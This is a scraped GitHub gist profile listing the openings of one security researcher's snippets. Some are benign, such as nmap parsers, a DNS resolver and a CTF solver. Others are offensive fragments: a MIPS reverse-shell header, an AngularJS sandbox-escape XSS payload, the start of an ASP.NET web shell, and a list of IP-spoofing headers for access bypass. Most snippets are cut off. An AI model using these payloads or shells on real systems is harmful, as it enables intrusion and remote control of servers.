Skip to content

Instantly share code, notes, and snippets.

View numanturle's full-sized avatar
:bowtie:

numan numanturle

:bowtie:
View GitHub Profile
// Simple Persistent Reverse Shell
// Compile for MIPSBE using the following steps:
// 1) cp reverse_shell_mipsbe.c /tmp/
// 2) using buildroot toolchain for compile mipsel-buildroot-linux-uclibc-gcc-10.3.0
// 4) cd /tmp ; output/host/bin/mipsel-buildroot-linux-uclibc-gcc-10.3.0 -static /home/sasaga/Escritorio/shellcode/rev.c -o /home/sasaga/Escritorio/shellcode/rev
// Outside Docker:
// 5) cp /tmp/rev .
#include <sys/types.h>
#include <sys/socket.h>
{{x={"n":"".constructor.prototype};x["n"].charAt=[].join;$eval("x=alert(\"pwned --> numanturle\")");}}
#!/usr/bin/python
import sys
import argparse
import xml.etree.ElementTree as ET
def main(argv):
inputfile = ''
outputfile = ''
@numanturle
numanturle / parser.php
Created March 24, 2022 14:29
nmap terminal parser
<?php
$ac = file(trim($argv[1]));
$start = 0;
$sonuc = [];
$son_ip = "";
foreach($ac as $satir){
if(strstr($satir, "Nmap scan report for")){
$start = 1;
@numanturle
numanturle / parser3.py
Created April 1, 2022 14:57
python parser nmap
#!/usr/bin/python
import sys
import argparse
import xml.etree.ElementTree as ET
def main(argv):
inputfile = ''
outputfile = ''
@numanturle
numanturle / MalwareURLs.ps1
Created April 20, 2022 12:13
MalwareURLs download
$db_name = "MalwareURLs.txt"
if (!(Test-Path $db_name))
{
New-Item -name $db_name -type "file" -value
Write-Output "Created new file and text content added"
}
$url_list = @(
<%@ Page Language="C#" EnableViewState="false" %>
<%@ Import Namespace="System.Web.UI.WebControls" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
<%
string outstr = "";
string dir = Page.MapPath(".") + "/";
if (Request.QueryString["fdir"] != null)
dir = Request.QueryString["fdir"] + "/";
@numanturle
numanturle / dns.php
Created August 2, 2022 14:41
dns.php
<?php
$ac = file("kapsam.txt");
foreach($ac as $x){
$x = trim($x);
$x = str_replace(["https://","http://","www.","/"],"",$x);
$sdip = gethostbynamel($x);
if(isset($sdip[0])){
echo $sdip[0].PHP_EOL;
}else {
echo "IP COZUMLENMEDI".PHP_EOL;
@numanturle
numanturle / req.req
Created August 8, 2022 10:45
req.req
Base-Url: 127.0.0.1
Client-IP: 127.0.0.1
Http-Url: 127.0.0.1
Proxy-Host: 127.0.0.1
Proxy-Url: 127.0.0.1
Real-Ip: 127.0.0.1
Redirect: 127.0.0.1
Referer: 127.0.0.1
Referrer: 127.0.0.1
Refferer: 127.0.0.1
@numanturle
numanturle / solve-paradigm.py
Last active August 27, 2022 22:03
solve-paradigm.py
from solcx import compile_source
from web3 import Web3
setup_txt = open("Setup.sol", "r").read()
setup_compiled_source = compile_source(setup_txt, output_values=['abi'])
setup_abi = list(setup_compiled_source.items())[0][1]['abi']
random_txt = open("Random.sol", "r").read()
random_compiled_source = compile_source(random_txt, output_values=['abi'])
random_abi = list(random_compiled_source.items())[0][1]['abi']